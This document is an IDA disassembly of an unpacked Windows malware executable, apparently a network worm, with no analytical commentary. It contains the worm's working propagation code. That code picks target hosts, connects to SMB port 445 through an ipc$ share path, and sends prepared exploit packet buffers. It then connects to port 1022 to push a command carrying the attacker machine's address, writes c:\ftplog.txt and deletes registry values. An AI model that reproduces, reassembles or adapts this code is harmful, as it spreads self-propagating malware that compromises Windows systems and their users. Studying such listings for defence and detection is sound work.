;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	159C856AD49812762CE088F47A227B5A

; File Name   :	u:\work\159c856ad49812762ce088f47a227b5a_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00007000 (  28672.)
; Section size in file		: 00007000 (  28672.)
; Offset to raw	data for section: 00001000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================



sub_401000	proc near		; CODE XREF: sub_40126C+7Cp
					; sub_401F4B:loc_401FC9p ...
		mov	eax, ds:dword_4070C0
		imul	eax, 343FDh
		add	eax, 279EC3h
		mov	ds:dword_4070C0, eax
		shr	eax, 10h
		and	eax, 7FFFh
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_40101E	proc near		; CODE XREF: sub_4020D9+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ds:dword_4070C0, eax
		retn
sub_40101E	endp


; =============== S U B	R O U T	I N E =======================================



sub_401028	proc near		; CODE XREF: sub_4020D9+11p

var_190		= byte ptr -190h

		sub	esp, 190h
		lea	eax, [esp+190h+var_190]
		push	eax
		push	101h
		call	ds:dword_405104	; WSAStartup
		add	esp, 190h
		retn
sub_401028	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401045	proc near		; CODE XREF: sub_4010D2+4Cp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	ds:dword_405134	; inet_addr
		movsx	ecx, al
		mov	[ebp+arg_0], eax
		movsx	edx, byte ptr [ebp+arg_0+2]
		movsx	esi, byte ptr [ebp+arg_0+3]
		movsx	edi, ah
		test	ecx, ecx
		mov	eax, 100h
		jge	short loc_40106F
		add	ecx, eax


loc_40106F:				; CODE XREF: sub_401045+26j
		test	edi, edi
		jge	short loc_401075
		add	edi, eax


loc_401075:				; CODE XREF: sub_401045+2Cj
		test	edx, edx
		jge	short loc_40107B
		add	edx, eax


loc_40107B:				; CODE XREF: sub_401045+32j
		test	esi, esi
		jge	short loc_401081
		add	esi, eax


loc_401081:				; CODE XREF: sub_401045+38j
		push	1
		cmp	ecx, 7Fh
		pop	eax
		jnz	short loc_401095
		test	edi, edi
		jnz	short loc_4010CE
		test	edx, edx
		jnz	short loc_4010CE
		cmp	esi, eax
		jz	short loc_4010CC


loc_401095:				; CODE XREF: sub_401045+42j
		cmp	ecx, 0Ah
		jz	short loc_4010CC
		cmp	ecx, 0ACh
		jnz	short loc_4010AC
		cmp	edi, 0Fh
		jle	short loc_4010CE
		cmp	edi, 20h
		jl	short loc_4010CC


loc_4010AC:				; CODE XREF: sub_401045+5Bj
		cmp	ecx, 0C0h
		jnz	short loc_4010BC
		cmp	edi, 0A8h
		jz	short loc_4010CC


loc_4010BC:				; CODE XREF: sub_401045+6Dj
		cmp	ecx, 0A9h
		jnz	short loc_4010CE
		cmp	edi, 0FEh
		jnz	short loc_4010CE


loc_4010CC:				; CODE XREF: sub_401045+4Ej
					; sub_401045+53j ...
		xor	al, al


loc_4010CE:				; CODE XREF: sub_401045+46j
					; sub_401045+4Aj ...
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_401045	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010D2	proc near		; CODE XREF: sub_40126C+9Cp
					; sub_401F4B+3Ep

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_100]
		push	0FFh
		push	eax
		call	ds:dword_40512C	; gethostname
		test	eax, eax
		jnz	short loc_401136
		lea	eax, [ebp+var_100]
		push	eax
		call	ds:dword_405138	; gethostbyname
		mov	edi, eax
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_401136
		mov	eax, [edi+0Ch]
		cmp	[eax], esi
		jz	short loc_401136


loc_401110:				; CODE XREF: sub_4010D2+60j
		mov	eax, [esi+eax]
		push	dword ptr [eax]
		call	ds:dword_405130	; inet_ntoa
		mov	ebx, eax
		push	ebx
		call	sub_401045
		test	al, al
		pop	ecx
		jnz	short loc_40113D
		mov	eax, [edi+0Ch]
		add	esi, 4
		cmp	dword ptr [esi+eax], 0
		jnz	short loc_401110
		jmp	short loc_401139
; ---------------------------------------------------------------------------


loc_401136:				; CODE XREF: sub_4010D2+20j
					; sub_4010D2+35j ...
		mov	ebx, [ebp+arg_0]


loc_401139:				; CODE XREF: sub_4010D2+62j
		test	ebx, ebx
		jz	short loc_401140


loc_40113D:				; CODE XREF: sub_4010D2+54j
		push	ebx
		jmp	short loc_401145
; ---------------------------------------------------------------------------


loc_401140:				; CODE XREF: sub_4010D2+69j
		push	offset a127_0_0_1 ; "127.0.0.1"


loc_401145:				; CODE XREF: sub_4010D2+6Cj
		push	[ebp+arg_0]
		call	ds:dword_405018	; lstrcpy
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4010D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401153	proc near		; CODE XREF: sub_401F4B+137p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_4022A0
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	1BDh
		call	ds:dword_40511C	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_4011D5
		mov	[ebp+var_C], eax
		push	8
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		call	sub_4022A0
		add	esp, 10h
		push	6
		push	1
		pop	ebx
		push	ebx
		push	2
		call	ds:dword_405120	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4011B4
		xor	al, al
		jmp	short loc_4011D1
; ---------------------------------------------------------------------------


loc_4011B4:				; CODE XREF: sub_401153+5Bj
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	ds:dword_405124	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4011C8
		xor	bl, bl


loc_4011C8:				; CODE XREF: sub_401153+71j
		push	esi
		call	ds:dword_405128	; closesocket
		mov	al, bl


loc_4011D1:				; CODE XREF: sub_401153+5Fj
		pop	esi
		pop	ebx
		leave
		retn
sub_401153	endp


; =============== S U B	R O U T	I N E =======================================



sub_4011D5	proc near		; CODE XREF: sub_401153+30p
					; sub_40126C+34p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	edi
		call	ds:dword_405134	; inet_addr
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4011F2
		test	esi, esi
		jnz	short loc_401204
		cmp	byte ptr [edi],	30h
		jz	short loc_40120B


loc_4011F2:				; CODE XREF: sub_4011D5+12j
		push	edi
		call	ds:dword_405138	; gethostbyname
		test	eax, eax
		jz	short loc_401204
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	esi, [eax]


loc_401204:				; CODE XREF: sub_4011D5+16j
					; sub_4011D5+26j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40120B
		xor	esi, esi


loc_40120B:				; CODE XREF: sub_4011D5+1Bj
					; sub_4011D5+32j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_4011D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_401210	proc near		; CODE XREF: sub_401B59+2B5p

arg_0		= dword	ptr  4

		inc	ds:dword_4070C4
		push	esi
		push	0
		push	offset aCFtplog_txt ; "c:\\ftplog.txt"
		call	ds:dword_405028	; _lcreat
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40126A
		push	ebx
		push	edi
		push	2
		push	0
		push	esi
		call	ds:dword_405024	; _llseek
		push	[esp+0Ch+arg_0]
		call	sub_402300
		mov	edi, ds:dword_405020
		pop	ecx
		push	eax
		push	[esp+10h+arg_0]
		push	esi
		call	edi	; _hwrite
		mov	ebx, offset asc_406A0C ; "\r\n"
		push	ebx
		call	sub_402300
		pop	ecx
		push	eax
		push	ebx
		push	esi
		call	edi	; _hwrite
		push	esi
		call	ds:dword_40501C	; _lclose
		pop	edi
		pop	ebx


loc_40126A:				; CODE XREF: sub_401210+19j
		pop	esi
		retn
sub_401210	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40126C	proc near		; CODE XREF: sub_401A69+7Bp

var_33C		= byte ptr -33Ch
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 33Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_4022A0
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	3FEh
		call	ds:dword_40511C	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_4011D5
		mov	[ebp+var_C], eax
		push	8
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		call	sub_4022A0
		add	esp, 10h
		push	6
		push	1
		push	2
		call	ds:dword_405120	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_4012D1
		xor	al, al
		jmp	loc_401379
; ---------------------------------------------------------------------------


loc_4012D1:				; CODE XREF: sub_40126C+5Cj
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	ds:dword_405124	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_401370
		push	esi
		call	sub_401000
		mov	esi, eax
		lea	eax, [ebp+var_110]
		push	offset dword_4070C8
		push	eax
		call	ds:dword_405018	; lstrcpy
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_4010D2
		push	esi
		lea	eax, [ebp+var_110]
		push	esi
		push	eax
		push	ds:off_406030
		lea	eax, [ebp+var_33C]
		push	eax
		call	ds:dword_4050F0	; wsprintfA
		lea	eax, [ebp+var_33C]
		xor	esi, esi
		push	eax
		call	sub_402300
		add	esp, 1Ch
		test	eax, eax
		jbe	short loc_401362


loc_40133E:				; CODE XREF: sub_40126C+F4j
		push	ebx
		lea	eax, [ebp+esi+var_33C]
		push	1
		push	eax
		push	edi
		call	ds:dword_405118	; send
		lea	eax, [ebp+var_33C]
		inc	esi
		push	eax
		call	sub_402300
		cmp	esi, eax
		pop	ecx
		jb	short loc_40133E


loc_401362:				; CODE XREF: sub_40126C+D0j
		push	3E8h
		call	ds:dword_40502C	; Sleep
		mov	bl, 1
		pop	esi


loc_401370:				; CODE XREF: sub_40126C+75j
		push	edi
		call	ds:dword_405128	; closesocket
		mov	al, bl


loc_401379:				; CODE XREF: sub_40126C+60j
		pop	edi
		pop	ebx
		leave
		retn
sub_40126C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40137D	proc near		; CODE XREF: sub_401A69+15p

var_744		= byte ptr -744h
var_714		= byte ptr -714h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_3C		= byte ptr -3Ch
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 744h
		push	ebx
		push	esi
		push	edi
		push	offset dword_4070C8
		push	[ebp+arg_4]
		call	ds:dword_405018	; lstrcpy
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3C]
		push	offset aSIpc	; "\\\\%s\\ipc$"
		push	eax
		call	ds:dword_4050F0	; wsprintfA
		add	esp, 0Ch
		xor	edi, edi
		xor	ecx, ecx
		lea	eax, [ebp+var_103]


loc_4013B6:				; CODE XREF: sub_40137D+49j
		mov	dl, [ebp+ecx+var_3C]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, 28h
		jl	short loc_4013B6
		push	60h
		lea	eax, [ebp+var_B4]
		push	offset dword_4063E4
		push	eax
		call	sub_402380
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_402300
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_402380
		add	esp, 1Ch
		lea	eax, [ebp+var_3C]
		push	9
		push	(offset	aC+3)
		push	eax
		call	sub_402300
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax
		call	sub_402380
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_402300
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_B1]
		push	eax
		call	sub_402380
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_402300
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_87]
		push	eax
		call	sub_402380
		add	esp, 2Ch
		push	[ebp+arg_0]
		call	ds:dword_405138	; gethostbyname
		mov	ebx, eax
		cmp	ebx, edi
		jz	loc_401539
		push	edi
		push	1
		push	2
		call	ds:dword_405120	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_0], esi
		jz	loc_401539
		push	1BDh


loc_401493:				; DATA XREF: .text:off_4065D8o
		mov	[ebp+var_14], 2
		call	ds:dword_40511C	; htons
		mov	[ebp+var_12], ax
		mov	eax, [ebx+0Ch]
		push	8
		push	edi
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4022A0
		add	esp, 0Ch
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	esi
		call	ds:dword_405124	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401539
		mov	ebx, ds:dword_405118
		push	edi
		push	89h
		push	offset dword_4061CC
		push	esi
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401539
		push	edi
		mov	edi, 640h
		lea	eax, [ebp+var_744]
		push	edi
		push	eax
		push	esi
		mov	esi, ds:dword_405114
		call	esi	; recv
		push	0
		push	0A8h
		push	offset dword_406258
		push	[ebp+arg_0]
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401539
		push	0
		lea	eax, [ebp+var_744]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	esi	; recv
		push	0
		push	0DEh
		push	offset dword_406304
		push	[ebp+arg_0]
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40153D


loc_401539:				; CODE XREF: sub_40137D+F2j
					; sub_40137D+10Bj ...
		xor	eax, eax
		jmp	short loc_40157E
; ---------------------------------------------------------------------------


loc_40153D:				; CODE XREF: sub_40137D+1BAj
		push	0
		lea	eax, [ebp+var_744]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	esi	; recv
		push	46h
		lea	esi, [ebp+var_714]
		pop	edi


loc_401555:				; CODE XREF: sub_40137D+1F3j
		movsx	eax, byte ptr [esi]
		push	eax
		push	[ebp+arg_4]
		push	offset aSC	; "%s%c"
		push	[ebp+arg_4]
		call	ds:dword_4050F0	; wsprintfA
		add	esp, 10h
		inc	esi
		inc	esi
		dec	edi
		jnz	short loc_401555
		push	[ebp+arg_0]
		call	ds:dword_405128	; closesocket
		push	1
		pop	eax


loc_40157E:				; CODE XREF: sub_40137D+1BEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40137D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401583	proc near		; CODE XREF: sub_401A69+3Bp
					; sub_401A69+5Ep ...

var_89C4	= byte ptr -89C4h
var_895C	= byte ptr -895Ch
var_68EC	= byte ptr -68ECh
var_687C	= byte ptr -687Ch
var_5DB8	= byte ptr -5DB8h
var_4814	= byte ptr -4814h
var_4813	= byte ptr -4813h
var_3780	= byte ptr -3780h
var_2CBC	= byte ptr -2CBCh
var_2CBB	= byte ptr -2CBBh
var_2CB8	= byte ptr -2CB8h
var_24D4	= byte ptr -24D4h
var_24C4	= byte ptr -24C4h
var_21A0	= byte ptr -21A0h
var_219C	= byte ptr -219Ch
var_2190	= byte ptr -2190h
var_1F08	= byte ptr -1F08h
var_1E8C	= byte ptr -1E8Ch
var_16BC	= byte ptr -16BCh
var_1211	= byte ptr -1211h
var_F24		= byte ptr -0F24h
var_E84		= byte ptr -0E84h
var_778		= dword	ptr -778h
var_768		= byte ptr -768h
var_754		= byte ptr -754h
var_114		= byte ptr -114h
var_113		= byte ptr -113h
var_C4		= byte ptr -0C4h
var_C1		= byte ptr -0C1h
var_97		= byte ptr -97h
var_95		= byte ptr -95h
var_94		= byte ptr -94h
var_4C		= byte ptr -4Ch
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 89C4h
		call	sub_4026C0
		mov	eax, ds:dword_406A3C
		push	[ebp+arg_0]
		mov	[ebp+var_14], eax
		mov	eax, ds:dword_406A40
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_4C]
		push	offset aSIpc	; "\\\\%s\\ipc$"
		push	eax
		call	ds:dword_4050F0	; wsprintfA
		add	esp, 0Ch
		xor	ecx, ecx
		lea	eax, [ebp+var_113]


loc_4015BD:				; CODE XREF: sub_401583+4Aj
		mov	dl, [ebp+ecx+var_4C]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, 28h
		jl	short loc_4015BD
		push	ebx
		push	esi
		push	edi
		push	60h
		lea	eax, [ebp+var_C4]
		push	offset dword_4063E4
		push	eax
		call	sub_402380
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_402300
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_402380
		add	esp, 1Ch
		lea	eax, [ebp+var_4C]
		push	9
		push	(offset	aC+3)
		push	eax
		call	sub_402300
		pop	ecx
		lea	eax, [ebp+eax*2+var_95]
		push	eax
		call	sub_402380
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_402300
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_5], al
		lea	eax, [ebp+var_5]
		push	eax
		lea	eax, [ebp+var_C1]
		push	eax
		call	sub_402380
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_402300
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_6], al
		lea	eax, [ebp+var_6]
		push	eax
		lea	eax, [ebp+var_97]
		push	eax
		call	sub_402380
		add	esp, 2Ch
		push	3FEh
		call	ds:dword_40511C	; htons
		xor	eax, 9999h
		push	2
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset dword_4060E4
		call	sub_402380
		mov	ebx, [ebp+arg_4]
		add	esp, 0Ch
		cmp	ebx, 1
		jz	short loc_4016FF
		cmp	ebx, 2
		jz	short loc_4016FF
		push	7D0h
		lea	eax, [ebp+var_F24]
		push	90h
		push	eax
		call	sub_4022A0
		mov	esi, offset loc_406034
		push	esi
		call	sub_402300
		push	eax
		lea	eax, [ebp+var_E84]
		push	esi
		push	eax
		call	sub_402380
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_402300
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_768]
		push	eax
		call	sub_402380
		add	esp, 2Ch
		imul	ebx, 3Ch
		mov	eax, ds:dword_406810[ebx]
		mov	[ebp+var_778], eax
		jmp	loc_4017D3
; ---------------------------------------------------------------------------


loc_4016FF:				; CODE XREF: sub_401583+115j
					; sub_401583+11Aj
		mov	edi, 0DACh
		lea	eax, [ebp+var_2CB8]
		push	edi
		push	90h
		push	eax
		call	sub_4022A0
		imul	ebx, 3Ch
		push	4
		lea	eax, [ebp+var_24D4]
		lea	ebx, dword_406810[ebx]
		push	ebx
		push	eax
		call	sub_402380
		mov	esi, offset loc_406034
		push	esi
		call	sub_402300
		push	eax
		lea	eax, [ebp+var_24C4]
		push	esi
		push	eax
		call	sub_402380
		push	4
		lea	eax, [ebp+var_21A0]
		push	offset dword_406A34
		push	eax
		call	sub_402380
		push	4
		lea	eax, [ebp+var_219C]
		push	ebx
		push	eax
		call	sub_402380
		add	esp, 40h
		push	esi
		call	sub_402300
		push	eax
		lea	eax, [ebp+var_2190]
		push	esi
		push	eax
		call	sub_402380
		add	esp, 10h
		xor	ecx, ecx
		lea	eax, [ebp+var_4813]


loc_40178B:				; CODE XREF: sub_401583+21Aj
		mov	dl, [ebp+ecx+var_2CB8]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, edi
		jl	short loc_40178B
		and	[ebp+var_2CBC],	0
		and	[ebp+var_2CBB],	0
		mov	esi, 1C52h
		lea	eax, [ebp+var_89C4]
		push	esi
		push	31h
		push	eax
		call	sub_4022A0
		push	esi
		lea	eax, [ebp+var_68EC]
		push	31h
		push	eax
		call	sub_4022A0
		add	esp, 18h


loc_4017D3:				; CODE XREF: sub_401583+177j
		push	0
		push	1
		push	2
		call	ds:dword_405120	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jz	loc_401A62
		push	1BDh
		mov	[ebp+var_24], 2
		call	ds:dword_40511C	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_22], ax
		call	sub_4011D5
		mov	[ebp+var_20], eax
		xor	ebx, ebx
		push	8
		lea	eax, [ebp+var_1C]
		push	ebx
		push	eax
		call	sub_4022A0
		add	esp, 10h
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	edi
		call	ds:dword_405124	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_401A62
		mov	esi, ds:dword_405118
		push	ebx
		push	89h
		push	offset dword_4061CC
		push	edi
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_401A62
		push	ebx
		mov	ebx, 640h
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	edi
		mov	edi, ds:dword_405114
		call	edi	; recv
		push	0
		push	0A8h
		push	offset dword_406258
		push	[ebp+var_4]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_401A62
		push	0
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	edi	; recv
		push	0
		push	0DEh
		push	offset dword_406304
		push	[ebp+var_4]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_401A62
		push	0
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	edi	; recv
		movsx	eax, [ebp+var_5]
		add	eax, 4
		push	0
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+var_4]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_401A62
		push	0
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	edi	; recv
		push	0
		push	68h
		push	offset dword_406448
		push	[ebp+var_4]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_401A62
		push	0
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	edi	; recv
		push	0
		push	0A0h
		push	offset dword_4064B4
		push	[ebp+var_4]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_401A62
		push	0
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	edi	; recv
		cmp	[ebp+arg_4], 1
		jz	short loc_4019A0
		cmp	[ebp+arg_4], 2
		jz	short loc_4019A0
		push	7Ch
		lea	eax, [ebp+var_1F08]
		push	offset dword_406558
		push	eax
		call	sub_402380
		lea	eax, [ebp+var_F24]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_1E8C]
		push	eax
		call	sub_402380
		push	90h
		lea	eax, [ebp+var_16BC]
		push	offset off_4065D8
		push	eax
		call	sub_402380
		add	esp, 24h
		and	[ebp+var_1211],	0
		lea	eax, [ebp+var_1F08]
		push	0
		push	0CF8h
		jmp	loc_401A43
; ---------------------------------------------------------------------------


loc_4019A0:				; CODE XREF: sub_401583+3B8j
					; sub_401583+3BEj
		push	68h
		lea	eax, [ebp+var_89C4]
		push	offset dword_40666C
		push	eax
		call	sub_402380
		lea	eax, [ebp+var_4814]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_895C]
		push	eax
		call	sub_402380
		push	70h
		lea	eax, [ebp+var_68EC]
		push	offset dword_4066D8
		push	eax
		call	sub_402380
		lea	eax, [ebp+var_3780]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_687C]
		push	eax
		call	sub_402380
		push	84h
		lea	eax, [ebp+var_5DB8]
		push	offset dword_40674C
		push	eax
		call	sub_402380
		add	esp, 3Ch
		lea	eax, [ebp+var_89C4]
		push	0
		push	10FCh
		push	eax
		push	[ebp+var_4]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401A62
		push	0
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	edi	; recv
		push	0
		push	0FDCh
		lea	eax, [ebp+var_68EC]


loc_401A43:				; CODE XREF: sub_401583+418j
		push	eax
		push	[ebp+var_4]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401A62
		push	3E8h
		call	ds:dword_40502C	; Sleep
		push	[ebp+var_4]
		call	ds:dword_405128	; closesocket


loc_401A62:				; CODE XREF: sub_401583+264j
					; sub_401583+2ABj ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_401583	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401A69	proc near		; CODE XREF: sub_4020D9+27p

var_84		= byte ptr -84h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		push	esi
		mov	esi, [ebp+arg_0]
		lea	eax, [ebp+var_84]
		push	eax
		push	esi
		call	sub_40137D
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	short loc_401AEA
		lea	eax, [ebp+var_84]
		push	offset dword_406A48
		push	eax
		call	sub_4026F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401AAD
		push	0
		push	esi
		call	sub_401583
		push	0
		jmp	short loc_401ADA
; ---------------------------------------------------------------------------


loc_401AAD:				; CODE XREF: sub_401A69+36j
		lea	eax, [ebp+var_84]
		push	offset dword_406A44
		push	eax
		call	sub_4026F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401AD0
		push	1
		push	esi
		call	sub_401583
		push	1
		jmp	short loc_401ADA
; ---------------------------------------------------------------------------


loc_401AD0:				; CODE XREF: sub_401A69+59j
		push	2
		push	esi
		call	sub_401583
		push	2


loc_401ADA:				; CODE XREF: sub_401A69+42j
					; sub_401A69+65j
		push	esi
		call	sub_401583
		add	esp, 10h
		push	esi
		call	sub_40126C
		pop	ecx


loc_401AEA:				; CODE XREF: sub_401A69+1Fj
		pop	esi
		leave
		retn
sub_401A69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401AED	proc near		; CODE XREF: sub_40219B+DAp
					; sub_40219B+E6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		lea	eax, [ebp+arg_4]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_40500C	; RegOpenKeyA
		test	eax, eax
		jnz	short loc_401B19
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	ds:dword_405010	; RegDeleteValueA
		push	[ebp+arg_4]
		call	ds:dword_405000	; RegCloseKey


loc_401B19:				; CODE XREF: sub_401AED+15j
		pop	ebp
		retn
sub_401AED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


